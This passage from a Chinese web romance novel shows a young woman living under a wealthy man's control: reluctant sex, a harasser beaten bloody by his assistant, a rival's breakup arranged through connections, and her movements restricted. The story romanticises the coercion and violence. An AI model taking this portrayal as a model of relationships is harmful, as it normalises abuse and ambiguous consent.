酸麻痛痒的触感传达到四肢百骸。
“啊!”她搂紧他的脖子。
陆明彰打横抱着她走向电梯。
宋辞音被重重摔到床上,紧随而来的是他覆盖而下的躯体。
几个小时前的余悸还为消散,她紧闭着眼,咬住唇落下泪,肩膀不止地抖。
他百般地哄,万般地抚慰,眼中也有爱怜,手温柔扶上她的脸,低沉的嗓音在深夜忽轻忽重,一遍遍重复:“我不会伤害你……”
宋辞音一开始是怕,恐惧落泪,而后在半自然半不情愿的状态下,接纳住他。
心中似乎有个巨大的黑洞,内有万丈深渊,埋不上,填不平,她恐慌,她彷徨,她委屈,她痛苦,她受伤。所以会哭。
心中又似矗立起一座高山,石头越垒越多,栽种满奇珍异宝。有人踏遍万水,只为这一座山而来,细心呵护山上的一石一木。这座山在心口越来越沉甸甸的,让人无比满足,幸福到落泪。
宋辞音不知道自己哭了多久,等到云停雨歇,全身都没有力气,浑身汗淋淋的像是刚从水里捞出来一样。
陆明彰抱她去洗澡,她懒懒的搭在他肩头,离开卧室前昏沉抬起眼皮,浅灰色床单上乱糟糟的,布满水渍后颜色加深,格外显眼。
半醒半睡间,心想,这该怎么睡啊。
迷迷糊糊冲了澡,再回到卧室时,灰色床单早已变成淡蓝色。
想到佣人换床单时的情景,还未消退的绯色脸颊红晕更浓。
她是没脸见人了,明天躲出去才行。
身边人拢住她的腰,把人带到胸前,两人人紧贴靠着,男人的气息在脸前萦绕,他亲了亲她的额头。
第二日宋辞音醒来,已经是上午十点多。
陆明彰每晚都会折腾她,第二天早上她总是起不来,幸好这人还有最起码的人性,不让佣人打扰叫醒她。
因此,她每天都能睡到自然醒。
手机里,苏念一发来数条语音。
宋辞音一边洗漱,一边播放好友的怒吼:
【我昨天去了隔壁市,回来晚他们都睡下了,今天早上才听说你的事儿】
【你现在还好吗?】
【你不用管他们怎么传,还有人说我在拍黄|色电影呢,靠,老娘明明是正经网红】
【他们也就瞎讨论几天,等有了新素材,这事儿也就没人逼逼了】
【说起来,宋诗莹怎么回事啊,下次让我看见她,一定捏扁她,什么玩意啊这还是亲堂姐妹呢】
宋辞音洗掉嘴角泡沫,小拇指点住屏幕,对着手机说道:
【我现在已经好多了,日子还得过,也没更好的办法】
【可能是以前的事她一直有心结吧,不用管她】
苏念一的消息立马弹出来:
【哎呦喂,少奶奶,您终于醒了】
【你知道现在几点了吗,我这半自由职业者
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都比起的早,隔你上班那会儿,现在都该摸鱼想中午吃什么了都】
【看你没事我就放心了,只是……你以后打算怎么办啊?】
宋辞音盯着屏幕,过了半天才点动屏幕:
【我说了不算,走一步看一步吧】
【(一个小兔子垂头丧气走路的表情)】
苏念一:
【唉】
宋辞音退出和好友的聊天界面,来自“妈妈”的联系人头像边,红色阿拉伯数字“4”让她胸口一窒。
【未接来电】
【未接来电】
【怎么不回复?我都急死了】
【你能拿多多少?】
“啪”,手机被扣在盥洗台,把水龙头开到最大,捧起一把水,狠狠拍在脸上。
宋辞音走扶梯下楼时,脚往下抻,脚和腰部的酸疼袭来,她赶紧扶住栏杆,转换电梯。
陆明彰个王八蛋,他为什么力气那么大,每次冲撞都让她怀疑自己骨头会散架。
现在腰酸腿疼的。
她还拿他一点办法都没有!
好不容易平缓下的情绪再次被揪起。
不行,不能这样。
她要改变,要奋起!不要明天像个可怜兮兮的怨妇一样顾影自怜!
宋辞音放下汤勺,扭头对李秀桦说:“桦姨,帮我跟刘师傅说下,我一会儿去万华寺烧香。”
“好,出去转转挺好的。”李秀桦递来一张卡,“今天不太冷,适合出门,明彰吩咐我给你的,拿着吧。”
陆明彰早就给过她了,只是她一直没拿来用过。
李秀桦看出她的疑虑,握住她的手,笑道:“我知道你是个踏实的好孩子。他肯定是知道你不好意思用,才让我当中间人。这有什么的,两人既然在一块了,你花他的天经地义。”
把卡塞进她手里,眨了眨眼揶揄道:“反正他最不缺的就是钱,使劲花,不花白不花。”
“好的桦姨,我听你的。”
宋辞音笑咪咪地把卡揣进兜里。
万华寺香火鼎盛,她以前就经常来,保佑自己考上大学,保佑自己顺利毕业、保佑自己找到工作,保佑自己升职加薪……
她还没有升职加薪,工作已经没了。
今天又虔诚地跪拜在菩萨跟前,双手合十,认真祈祷:“信女宋辞音,身份证号432……求您让姓陆的赶紧讨厌我,求您让姓陆的赶破财,他真的很过分,您一定要惩罚他,拜托拜托,拜托拜托。”
光跪拜还不够,俗话说礼多人不怪,对神仙肯定也是通用的。她供了油灯,还花钱在许愿箱手写心愿,伏案写字时,腰部传来阵阵酸疼。
都怪他!
宋辞音握紧圆珠笔,手上使劲,写下的字力透纸背:信女宋辞音,唯愿陆明彰断子绝孙!
大坏蛋,受死吧!
当然了,求神拜佛花的都是他的钱。
花他的钱,许诅咒他的愿。
另一种,羊毛出在羊身上。
宋辞音心满意足离开万华寺。
刘师傅在停车场等她。
“呦,怪不得眼熟呢,原来是辞音妹妹。”
油腻腻的男音传来,宋辞音看清来人,憎恶地皱了皱眉头。
23. 第 23 章
来人是嫂子张雨婷的弟弟张雨雷。
张雨婷的父母连生三个女儿,才等来一个耀祖,自然是千分宠万分爱。
张雨雷从小被溺爱长大,他早就被惯坏,吃喝嫖赌,样样精通。
三个姐姐也习惯了对他毫不计较的付出,张雨婷经常给宋父宋母要钱,补贴娘家补贴弟弟,她口头禅是:“他是我们张家人,是我娘家唯一的儿子,我不帮他帮谁?”
宋辞音每次遇到他都是要躲的。
这个无赖在宋张两家结亲家时,竟然提出:“我姐嫁给宋瑞阳,让他妹嫁给我呗,双方彩礼都免了,大家都不吃亏,反正肥水不流外人田,多好。”
那时宋辞音还没毕业,在学校宿舍哭了一周,这事才没人再提。
哥哥和张雨婷订婚结婚时,难免和他碰见,张雨雷总是找准机会和她独处,言语侮辱不尊重人。她当然会告到父母那里,宋母拉着她劝:“他就是那样一个人,你别搭理他,避开他,忍着点,双方是亲家,不能弄太难堪。”
只要有张雨雷的地方,宋辞音就躲得远远的,就像现在,看清是谁,扭头就走。
“这么没礼貌啊,看见哥哥了,也不打个招呼。”张雨雷追上来,挡住她的去路。
宋辞音默不作声,低头转向另一个方向。
“诶,往哪走。”他一个侧身,又将她堵住。
露天停车场的角落,来往的人并不多。
“你想干什么?”宋辞音尽量平和地问,同时警惕的搜寻刘师傅和车。
张雨雷盯着她,年轻女孩白里透红的脸上渗出一层薄汗,因跑动两边碎发松散在胸前,柔柔地搭在高隆的起伏上。
他霎时口干,向前一步,她立即凝眉,飞快后撤。
“想干你。”
水波荡漾的杏眼登时圆睁,纯净眼眸里勾缠一团浓雾,瞪着他,嘴角下压,是不可置信、羞愤、恼怒、憎恶。
“你……别乱来啊,这里有很多摄像头,监控拍着呢。”
张雨雷狂笑,眼角夹起层层褶皱,举起双手:“我啥也没干啊,怎么,聊聊天都不行啊?”
宋辞音一张脸气得鼓鼓的,低头错开他,继续往前走:“我没什么给你聊的。”
“你装的累不累啊,不知道的还以为你是什么清纯玉女呢。”张雨雷紧跟着,“我都看见了,一个老男人带你去超市,还给你刷卡。”
宋辞音不说话,加快步伐,她明明记得刘师傅说在这里等她的,人和车去哪儿了呢。
“他年纪那么大了,能满足你吗,他还硬得起来吗?”
“自己不空虚啊?”
“你也很想要吧,和哥试试,让你知道什么是真男人。”
“装什么啊,在床上还不都是一个骚样。”
污言秽语不堪入耳,宋辞音脸越来越红,手握成拳越攥越紧,脚步越来越快。
“妈的,老子给你说话呢!”
一声暴吼,她的胳膊被人扯住。
“放……开!”她不得以停下,用力挣扭动被控制的小臂。
“我就不放,你能怎么样?”
“我说了有摄像头,你好好的,也不想进去吧?”
“哎呀,我拉着自家亲家聊聊家常呢,怎么了,这也犯法?”
“好,你把我松开聊。”
“我松开你就跑了,你以为我缺心眼?”
“你松开!”那只被他攥着的胳膊,好似沾满了苍蝇一样恶心,捏住她的力让她忍不住作呕,“张玉雷,你别太过分!”
她的训斥,软绵绵柔滴滴的,在男人看来就像是撒娇。
“我还有更过分的呢,要不要试试。”
“你!”
“宋辞音。”不远处,传来低沉的男音。
拉扯中的两人下意识循声望去,一辆黑色劳斯莱斯缓缓停靠在数米外,无声的压迫和威慑。
车上的人显然是认识宋辞音,张雨雷悻悻松开她的手。
宋辞音当然认识这辆车和车牌号,就停在陆明彰的车库里,只是很少用。
小臂上的力度消失,她恶狠狠(自认为)丢下一记鄙夷的眼神,快步跑到车右后侧,拉开车门。
坐到车内,宋辞音胸口依旧慌慌乱跳,稳了稳心神,才发现旁边的陆明彰面色不虞,眉中折痕加深,眸光幽冷莫测,看向她的眼神带着疏离的愠色。
副驾驶坐着白白胖胖爱笑的王图南,而此时王助理推开车门。
宋辞音看到王图南很轻松的一个动作,张雨雷就已经扑倒在地上,嘴里还哇哇大叫哀求。
张雨雷从小没少打架斗殴,按说是有两下子的,却被轻松拿下。
王图南一手按住张雨雷肩膀,一手把人两臂反剪在后腰,他就那么轻轻一掰,车上的宋辞音听到骨头碎裂的咔吧声。
张雨雷手指全断了。
“我错了,我错了!好汉饶命,好汉饶命,有话好好说行不行!”
宋辞音已经从刚才的痛快,转为担忧和害怕。
对于凄惨的哀求,王图南充耳不闻,一手捏住张雨雷手臂,使劲按扭。
张雨雷趴在地上蠕动战栗,爆发出杀猪般的惨叫。
“啊啊啊啊啊啊啊!疼疼疼!啊啊啊啊啊啊!”
他的胳膊应该也是断了。
宋辞音目瞪口呆,脸色惨白。
“求求你,放了我吧,我没怎么着她,只是和她开……开个玩笑,啊啊啊啊!”张雨雷已经有气无力。
王图南却没有停止的意思,他扯住瘫软在地上人的后衣领,轻轻一提。
张雨雷身体已翻转,正面朝上躺在地上。
雨点般密集的拳头砸在他的脸上、胳膊上、胸口。
他求饶和惨叫的声音,变得微弱。
“陆明彰,让王助理停下吧。”宋辞音脸上一丝血色都没有,惊恐地说。
陆明彰不置可否,无动于衷,冷淡神色如有实质,是让人不自觉压力十足的权力感。
血色染湿了张雨雷的上衣,他静静地躺在地上。
宋辞音心里慌得发堵,双手抓住男人硬挺的西装布料,用力扯动:“陆明彰,让王助理停下吧,求你了!”
她已带哭腔,眼眶也微微发红。
陆明彰终于给了她一个眼神,眸色漆黑浓稠,如同秘境幽潭,静谧而暗流翻涌。
他开口,四周似乎更冷了几分:“你心疼他。”
这什么跟什么啊。
“怎么会。”宋辞音不住摇头,“他就算是死十次,我都只会高兴。这样打下去,就真出人命了,我不想违法犯罪,陆明彰,我不要违法犯罪,求你了。”
躲在云后的太阳出来了,日光普照,连带车内也温暖和煦。
陆明彰挑了下眉,眼底闪过一丝明亮,牵了牵嘴角:“好孩子。”他停顿,冷傲目光沉沉落下,似有蛊惑人心的钩子,“你怎么求我?”
“啊?”宋辞音愣了下,哭声停止,两腮还挂着几滴泪。
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>陆明彰调整更舒适的姿势,目视前方,语气淡淡道:“求人也没有求人的姿态。”
“那,你想我怎么求你?”
回答她的只有沉默,男人闭上了眼。
王图南的拳头仍在挥舞着。
宋辞音贝齿轻咬下唇,舔了下上唇,扭扭捏捏,好似下了很大决心,她身体靠向陆明彰,在他唇角飞快落下一吻。
男人没睁眼,抿起的唇线两端微微上引。
这是可以还是不可以啊……
只见他朝窗外抬了下手,王图南挥起的拳头没有再落下,起身站在张雨雷身边,居高临下看他一眼,回到车上。
王图南掏出湿纸巾,慢条斯理地擦干净每一根手指。
司机启动车子,路过张雨雷时,王图南从车窗把纸巾丢在他身上。
宋辞音乖乖坐着,就像一年级上课那样,不敢小动作,不敢发一眼。
她对陆明彰的了解还是太少了。
他敢让手下的人往死教训张雨雷,自然是有十足的把握可以全身而退。
这对从小遵纪守法的宋辞音,着实是非常大的冲击。
“王助理,你身手怎么这么好啊?”
人一紧张就会变得很忙、话多,只有聊聊天,才能缓解心里的惊惧沉闷。
“宋小姐过奖了,”王图南在副驾驶说道,“我从小学习柔道跆拳道,之前在部队呆过五年。”
“哦,所以,你除了是助理,还是保镖吗?”
“保镖?”王图南轻笑,“宋小姐您是不太清楚陆总在格斗领域拿了多少奖吧?蝉联记录至今无人打破。”
咦?
宋辞音惊讶地看向身边男人。
意思是,陆明彰比王图南还要厉害?
“所以,我还没有资格做陆总的保镖。”他继续说,“当然了,若真有紧急情况,我也一定会冲在前面,不是所有人都有资格让陆总出手的。”
王图南说罢,透过后视镜观察驾驶座后的男人,继而对司机道:“王叔,就把我放在前面路口吧。”
车子停下,又融入进滚滚车流。
怎么聊完之后,更紧张了呢……
“我们……这是去哪儿啊?”宋辞音自己都没发现,对陆明彰态度比之前客气多了。
“带你去看场好戏。”
好戏?不会又是去看让人发困的舞台剧吧?
此刻的宋辞音是万万不敢说任何拒绝的话的。
陆明彰带她进入一家装潢精致的餐厅,二人坐在靠窗位置,一扇美轮美奂的屏风将空间与外隔绝。
宋辞音没想到去卫生间的路上会碰到堂姐堂诗莹。
她明显精心打扮过,长裙摇曳,灯光下一双凤眼风姿绰约。
陆明彰说的好戏,和她相关?
“叔叔打你的脸,还疼吗?”
“你呀,怪不了别人,要怪就怪自己不争气,工作不行,爱慕虚荣,找男人的眼光也不行。”
宋辞音擦干手上的水,凝望镜中熟悉而陌生的堂姐,认真问道:“我俩年龄差不多,你老是把我当对比对象。你获得了想要的工作和恋人,我什么都不如你,为什么你还那么不开心呢,你想证明什么呢?”
身侧人微怔:“我……”
宋辞音毫不恋战,只留给她一个背影。
宋诗莹愣顿,冲她背影喊:
“告诉你,今晚我男朋友要在这里给我求婚了!你就搂着那个老男人过吧!你一辈子也比不上我!”
24. 第 24 章
宋辞音回到小包厢内,通过屏风镂空的纹路,能看到大厅内的场景。
宋诗莹和男友张友信落座在靠近他们的一桌。
餐厅专业的小提琴手正在演奏,乐声悠扬动听,和缓浪漫的氛围让在场人不自觉慢下来又放松。
宋诗莹却是放松不下来的,心砰砰乱跳,提裙的手都在颤抖。
“老公,你对我真好,之前我说喜欢这家餐厅,你今天就带我来了。”说话的声音有些飘,却还要装作一副浑然不知又松弛的样子。
她从很早之前就这样称呼男友了,“公”字咬得很轻很长,说罢脸红扑扑地凝望对面的人,丹凤眼水灵灵的扑眨,含羞带怯,充满期待。
张友信放下高脚杯,平静看向她:“你提过很多次,我现在才带你来,是我不好。”
“啊。”宋诗莹微微张开嘴,脸上滑过一丝慌乱,眼眶水雾氤氲,“我已经很感动了。”
“嗯。”张友信转头视线落向别处,避开她热切的目光,“今天来,是有件事要告诉你。”
宋诗莹立即坐姿端正,背脊挺得直直的,双手交握在小腹。
“我……”
“老公等一下!”她打断,掏出包里随身携带的小镜子,确保妆容完美,捋了下头发,紧张道,“好啦,你说吧。”
他们是从大二在一起,满打满算已经四年了。
她母亲总是劝她:“人家家条件比咱家好,有姿态也可以理解,你要是能和他结婚,妥妥的高嫁,他父母又是机关单位领导,多体面多风光,生活水平社会地位都会提高,将来在工作上还能帮你提携你。”
宋诗莹心里也是这么想的,更何况张友信长得也不错,她是真心喜欢他。
在一起了四年,终于等到他的求婚。他刚开口,她就已经热泪盈眶。
也想好去哪里拍婚纱照。
张友信张嘴,又闭上,举起高脚杯猛灌一口酒水。
“哎呀,你少喝点啦。”宋诗莹知道,他肯定是紧张。
他像是下定了某种决心,飘忽的视线终于落在她脸上,声音轻缓而吐字清晰:“我们分手吧。”
宋诗莹笑容凝结,五官僵硬如有定格,过了好久,艰涩地扯了扯嘴角:“你说什么?”
疑惑惊讶的不只是她一人,屏风后的宋辞音听到这句话,伸手捂住嘴巴。
剧情怎么是这样的走向?
张友信错开她的目光,沉默叹息。
“这是求婚的套路吗,先让我伤心,再给我惊喜,然后……”宋诗莹语无伦次,睫毛沾染湿意。
“诗颖,你别这样。”张友信蹙眉,身体后仰,“真的,分了吧。”
“我以为你是来给我求婚的,你是来跟我分手的?”
“我究竟哪里做的不好,让你这样对我?”
“你说啊,我可以改的。”
“你别这样,是我们不合适。”
“在一起四五年了,你说不合适了,刚在一起时怎么不说不合适。肯定是有原因的。你知道我喜欢你,我想嫁给你,我为你付出那么多算什么?我的青春算什么?你怎么能这样对我?”
听她抱怨,张友信心中反而一阵轻松和释然:“我也为你付出青春了啊,你要这么算,咱俩在一块我也没少花钱吧?你怎么给我算?”
宋诗颖一怔,对方的语言像刀子一样捅进心口,血淋淋的真实让人难以置信:“你是不是从来没有爱过我?”
“又来了。”张友信撇嘴,不耐烦地翻了下眼皮。
“你不能这么对我,分手总要有个理由。”
“你要理由是吧。”
宋诗莹撞入他毫无情感的眼瞳里,只听对方冷静道:“这个世界上没有人结婚是不考虑现实因素的,我们不是生活在童话,我家条件比你家条件好,我们两家差距太大了,我父母是不可能会同意的。比如以后我的晋升,你,还有你家里人,能给我提供什么帮助?你嫁给我能在我、我家身上讨到便宜,我能在你身上讨什么便宜?”
他言辞犀利,直白而刺骨:“没人愿意做赔本买卖。”
宋诗颖坚持让自己不那么难堪,手背抹去脸颊的泪水,不死心追问:“那我们的感情算什么?”
“算我做慈善。”张友信冷着脸起身,最后看了眼对面坐得挺直的人,“以后再碰到就当不认识吧,这顿饭我已经买单了,你随意。”
语毕,毫不留恋地离开。
只留宋诗颖一个人,孤零零独自面对满桌精巧餐食。
目睹全过程的宋辞音,心里五味杂陈,说不出什么滋味,端起玻璃杯猛喝一口水压惊。
脑中嗡嗡回响那句“我们两家差距太大了”。
身边的男人保持一如既往的低气压,他用餐时一向很安静,连刀叉的碰撞声几乎都没有,端方的姿态,只有偶尔投来的强势目光,让人心口沉甸甸的。
宋辞音凑到他身侧,压低嗓音小声问:“是你让他和她分手的吗?”
“没有。”他答。
哎?
不是早就知道“有好戏”吗?
陆明彰面色无波,漫不经心解答:“我让张友信单位的领导,给他介绍了几位家境相对优渥的相亲对象。”
“就这样???”
“就这样。”
高,实在是高!
谋略大道至简,效果狠决。
仅仅一个动作,就让他们看似牢固的关系土崩瓦解,宋诗莹的梦想和计划破碎。
对于大领导帮忙牵线搭桥介绍相亲对象这种事,是大多数人一辈子遇不到不敢想的,且大概率能直接改变命运。
就是这样一辈子遇不到不敢想且能改变命运的大事,不过是陆明彰的一个电话而已,而且电话不是他打的,是王图南打的,对方响应极快,立马照做,而张友信第二天便找宋诗莹分手,生怕耽误自己大好前程。
宋诗莹桌上的手机屏幕亮起,她快速抓起手机,看清来电显示后,期待转为失望:“妈。”
“怎么样,宝贝,求好婚了吗?钻戒大不大?”
“喂?怎么不说话?”
“妈……”竭力克制,仍然带上哭腔。
“怎么了?”
“分手了,他提了分手……”
“怎么会这样?肯定是你哪里做的不好,惹他生气了,你这孩子,怎么关键时刻掉链子,一定要挽回回来!我已经把你被求婚的事儿传出去了,现在大家伙都知道你要嫁到张家……”
“妈!你让我以后怎么做人啊!”
宋辞音收回视线,两手托住腮,纠结道:“我都不知道,这到底是在帮我教训她,还在帮她了。”
陆明彰习惯微微皱眉,冷酷思索的表情,让人看起来沉着
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冷静又不好相处:“帮她什么了?”
“让一个渣男露出真面目,让她离开了渣男啊。”
“你说的也没错。”陆明彰面容缓和,灯光下,深邃的眸底有夺目的光彩,“有些人不见得会这么想。”顿了顿,沉静注视她的眉眼,邀功似的问,“你就说,现在心情好不好。”
宋辞音想了想,郑重点头:“好。”
“但我好不是因为她希望落空在伤心,其实刚才那个男的说那些话时,我并没有很痛快的感觉。我好是因为我并不会受她的影响和她纠缠,好在我不受她的力。陆明彰,我这么讲,你能明白吗?”
“嗯。”陆明彰捏住她脸颊圆润的肉,淡淡笑意中有她看不懂的温柔,“你倒是学会了杀人诛心。”
“你别捏我……我这样是不是很傻?”
苏念一经常说她缺心眼,不会报复,太吃亏。
陆明彰笑意渐浓,柔和了面部轮廓,放大五官自身的俊朗。
黑色瞳仁像是窗外化不开的夜,心无旁骛深沉凝视着面前烦恼的女孩。
“是挺傻的,我觉得很好。”
“很好”这个词,还是第一次从他嘴里说出,太个人情绪化的语言,陆明彰来讲,给人异样的感觉。
“这样讲不像你……你在逗我吧,哪有人觉得傻好……”
陆明彰松开她的脸,臂弯向下,把她整个人圈进怀里。
他的怀抱像是密不透风的墙,温暖的、强硬的,让人忘记挣扎。
宋辞音双手窘迫地抵在他胸前,被迫仰头和他接吻。她没说完的话都被他卷进舌里、吞到腹中。
她只能仰着脖子,被动承受他给予的一切……
在事态还能控制前,她推开他,绕开大厅,离开餐厅。
等上了车,宋辞音才想起来包亡拿了,又急匆匆赶回包厢找包。
找到包走出包厢折返时,还没来得及绕开大厅,恰巧和失魂落魄的宋诗莹打了个照面。
宋辞音面色复杂而尴尬。
宋诗莹当即明白:“你都听见了?你很得意吧?很开心吧?”
被问到的人有一霎的懵懂,真诚发问:“我得意什么?开心什么?”
“继续装。”
宋辞音瞳仁乌黑透亮,眼睛一瞬不瞬地盯着她:“我真的很好奇,你分手,是我能得到一个好男人,还是我能得到一百万。都没有的话,我得意什么呢?开心什么呢?”
宋诗莹一噎,半天说不出话,兀自苦笑道:
“不用说些冠冕堂皇的漂亮话,宋辞音,我告诉你,以后我一定过得比你好。”
“那是你的事,我不关心。”
“你没有正经工作,找个四五十的老男人是没有未来的,你肯定过不好。”
宋辞音并不执着于纠正她的谣言,云淡风轻说:“那是我的事,不用你关心。”
宋诗莹扬起下巴,一只手抱住另一侧臂膀。
“你失去的,并不是别人想得到的,同样的,他人得到的也不见得是你失去的。你好好想想吧,希望你能明白。”
宋辞音的声音很轻很柔,在这样的时刻却显得格外掷地有声。
在说完这些话,没有再理会她,扭头离开了。
宋诗莹僵持在原地,呼吸凝滞似乎喘不过气,胸腔剧烈起伏,整个陷入巨大的震惊和迷茫当中。
25. 第 25 章
车子即将行驶上山,陆明彰示意司机离开,他坐上驾驶舱。
宋辞音自觉下车,拉开副驾驶车门。
寒冬凛冽,夜色笼罩山色,树影绰绰,前进的路显得幽深而肃穆。
却不是回家的路。
陆明彰在熟悉路口岔开,往山顶开,路上不见车流,早已荒无人烟。
车子在一空旷处停下,陆明彰解开安全带。
宋辞音双手攥住安全带,迟迟不敢动,小心得四处张望。
身边有活人在,车内有灯光,此刻不至于怕黑,但陆明彰大半夜带她来这里做什么?荒郊野岭的。
一些恐怖片的画面放电影一样,在脑海闪过。
陆明彰俯身欺来,她下意识闪躲,目光怯怯。
原来是松开她的安全带。
他的存在像是一座山,矗立在眼前,无法忽视,无法绕过。
宋辞音闻到他身上淡淡的冷冽香气,两人明明用同一款沐浴乳,但总觉他带来的味道的更浓烈些。
陆明彰保持姿势,没有离开,伸手圈住她的腰。
两人便贴得密不透风。
后视镜氤氲一层雾气,折射出她纠结羞耻的五官。
苏念一给她分享过一些火爆的八卦,关于男男女女,关于在车上。
宋辞音背脊后退,抵在车门上退无可退,她隔出手推他胸膛,气都不稳:“别这样……”
陆明彰笑,昏暗空间内,呼出的气滚烫,深邃目光如火焰般灼热,轻声问:“哪样?”
她心跳有一瞬的加速,神志仿佛从体内抽离,沉默着避开他的眼睛。
脸红到脖子根。
那双手却只停留在腰上,没有逾越的意思。
陆明彰调整更舒适的姿态,放松地闭上眼,他声音很轻:“就抱一下,不做什么,随便聊聊天。”
是她多想了,脸色红得更深,双睫垂下又撩开,她仰头看他深邃的侧脸:“聊什么呢?”
“你想说什么都可以。”
这是让她找话题的意思。
相处那么久,早就习惯了他不是话多的人,更不善谈。
或许是今日经历曲折,或许是夜晚宁静沉醉,她竟生出些许倾诉的欲望。
“其实以前我挺佩服她的。”二人知道她是指堂姐宋诗莹,“小时候我在她家住过不少时间,和她长时间相处,她漂亮、聪明、上进,考试都能拿高分,老师和奶奶都喜欢她。我就显得比较普通了,不过我从来不嫉妒她,不知道你信不信,我从没有妒忌过别人。”
陆明彰不说话,但她知道他在听。
所以,她侧脸看着他浓墨似的眼睛问:“你呢,有佩服的人吗?”
那双眼有让人冷锐而沉稳,有让人安定的力量,他几乎没有思考:“农民。”
“为什么?”
陆明彰空出一只手,枕在后脑,静默望着车窗。
黑夜寒风呼啸,车内温暖如斯。
“他们把一件顺应天时的事,反复做到极致。”
当时的宋辞音并不理解他话里的意思,后来她又翻开书房桌上的那本《道德经》,看到书中有段话说:
“治人事天,莫若啬。夫唯啬,是以早服。早服是谓重积德,重积德则无不克,无不克则莫知其极。莫知其极,可以有国。有国之母,可以长久。”
那一刻,她感觉自己真正触摸到了陆明彰一角,他于她而言,不再是一个简单的强势符号。
“那你还挺特别的。”她说。
陆明彰放下枕着的手,再次翻身贴过来,腰间的那只手,也游弋运动。
宋辞音推他,嘴里嘟囔着:“你说的,不做什么。”
他动作僵住,久久松开她,呼吸有些粗重,吻上她的额头,随后到眼睛,哑着声转移话题:“去寺庙求什么了?”
他轻笑,隐含威慑:“求让我放了你?”
宋辞音语塞,心虚不敢看他。
怎么被他猜中了呢!
还没等她想起如何回应,就感受到头顶寒刀般的视线,是大局在握的绝对掌控感,他声线笃定而决绝:
“我想你也不会这么不自量力,你走不了的,毫无可能。”
“求神拜佛,不如求我。”
他随口诉说的,是她被判定的命运,无可奈何。
宋辞音心被揪起、收紧,扬起下巴问:
“我在求让我家拆迁,你能吗?”
故意说出一个不可能实现的祈求。
“可以考虑。”寂静的夜,低沉的声音尤为郑重。
他竟然说可以考虑。
是他疯了,还是这个世界疯了。
在她惊讶之余,
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又听他说:“在这个愿望之前,你可以先说一些其他方便实现的。你如果是个聪明人,就该学会给我提要求。”
宋辞音认为自己已经学聪明很多了,她才不相信陆明彰会大发慈悲答应她的所有要求,于是,采用了迂回的方式——
试探问:“我可以一周搬出去三天吗?”
“再给你次机会重新想。”
她背过身,眼睛望向车窗外:“哼,说什么让我提要求,根本是假的,你不会帮我实现的。”
“怪你自己得寸进尺。”
宋辞音转回身,对上他的幽黑透亮的眼瞳:“那我可以每周有几天,白天出去学习吗?”
这才是她真正想提的要求。先提一个陆明彰不可能答应的,那作为补偿,第二个要求就大概率能被允许。
男人松口,捉住她的手,捏在掌心一下没一下揉捏:“每周最多三次。”
她眼中流露出欣喜,如鸟儿一样雀跃:“好!”
“让司机接送,不许在外用餐,六点前回来。”
有些为难。
“如果我当时候认识了同学,大家一起约饭呢……”
接收到他阴沉不善的余光,她赶紧改口:
“好吧好吧,我知道了。”
陆明彰捏她手的动作忽然停止,掰住她的下巴,沉声道:“回头。”
宋辞音不明所以,却也乖乖照做,她侧过身,扭头面对车窗。
车窗外,点点荧光滑过夜空,亮出数条璀璨的明线。
“流星!是流星!”
“太漂亮了!陆明彰,你看到了吗,是流星!”
“哇!”
惊叹之余,夜空恢复如初,未留下任何痕迹。
但闪过的刹那,明亮流线划过夜空时,在她心里留下震动的记忆。
“这是我第一次看见流星……”她呢喃着,颈部传来阵阵凉意。
低头,一块硕大红宝石沉甸甸垂在胸前,发出耀眼的夺目光彩。
一下捉住了她的眼睛,再也挪不开。
“这是?”
陆明彰垂眸,目光落在她脸上,淡淡道:“上次那个,你不是怕太贵重摔坏了吗,这个摔不坏。”
宋辞音感觉好似一块重石积在胸口,压得喘不过气。
有没有一种可能,这个更贵重啊!
26. 第 26 章
宋辞音从小就很想学画画,但被父母以家庭条件不允许而拒绝。
如今工作没了,却决不能安于现状,用这段时间正好捡起儿时模糊的梦想,提升自己。
当然了,用的是陆明彰的钱,李秀桦说得对,不花白不花。
两人度过了一段平常无波的生活。
他偶尔出差,却不在外多待,最多第二天晚上就会折返,每次回来都会给她带礼物。
不拘泥于全是价值连城的珠宝,也会有些好玩的小玩意儿。比如某次他带来一只毛茸茸的小白兔。
当时他一边看电脑屏幕密密麻麻的数字,一边漫不经心道:“机场看到的,感觉和你很像。”
宋辞音看着憨憨傻傻的玩偶,在他背后虚晃一拳,气鼓鼓想,和你才像,和你全家都像。
谁知陆明彰骤然转身,捕捉到她悬在半空的拳头,面无表情地凑近,也不像是生气,却捉住她的手按在头顶,抬起她的下巴,毫不温柔地啃咬。
他也有过温柔,在宋辞音每次哭着求饶时,他会有一霎的停顿,布满汗的额头抵在她的额上,一下下摩挲,喑哑着嗓音责备:“真没用,什么时候开始锻炼,嗯?”
一定是夜色太浓,让人思维也不清晰,竟把责备当缱绻。
她肯定是想错了,不然怎么接下来会是更猛烈地撞击和鞭挞?
他们就像同居的普通情侣一样。
但宋辞音心里清楚,他们不是情侣。
学画画的地方有两名老师,是当地美院德高望重老师的徒弟。学生中大多是要参加艺考的学生。
她是里面年纪最大的,学得也最认真,老师也愿意点拨她。
这天课程结束,她收拾好画板,准备带回家里。
男老师徐正扬刚考上研究生,瘦削的脸上架黑框眼镜:“我帮你吧。”
她不好意思让司机专门跑一趟来取,确实有些重,便接收了徐老师的好意,“谢谢。”
“这有什么。”徐老师笑起来有两个酒窝,“我帮你打车吧。”
“……不用的,已经有车了。”
走出培训班大门,一米多高的台梯下面,才是马路。
两人说着话,徐正扬一个脚步没踏稳,踩空一个台阶,身体踉跄的同时,宋辞音赶忙伸手扶住他胳膊。
因这一个动作,两人瞬间挨得很近,从远方看,就像是携手同行的伴侣。
宋辞音看到徐老师脸上飞过一丝红晕,她赶忙松开手,视线若无其事地落向疾驰的行道。
熟悉的迈巴赫就停在数米外马路边,后车窗半落,男人高挺的鼻梁若隐若现。
忽然有种不详的预感。
司机已小跑朝他们奔来,接过徐正扬手里的东西,放置后备箱。
“再见啊徐老师。”她垂着头,黑长直发柔顺地搭在两肩,‘老师’两个字咬得极重。
司机恰好打开拉开后车门,宋辞音坐进右后方,车门关闭前一刻,徐正扬看到里侧坐着的男人朝他的方向瞥了一眼,看不清表情,却感到排山倒海般压迫力。
让他久久定在原地。
迈巴赫融入车流中。
车内安静,陆明彰目视前方,手掌覆在大腿,指尖有下没下点着,没再看她一眼。
她只觉心脏都随着他修长手指点动节拍而跳动。
宋辞音笑着朝他凑近:“你今天下班那么早啊。”
陆明彰闭目养神,不说话。
车内气压骤降冰点。
“画板太重了,正好老师也顺道下去,就帮我拿了一下。”
他还是不说话,点动手指的速度似乎加快。
宋辞音悻悻坐直身体,不时用余光扫他一眼,忐忑着回到别墅。
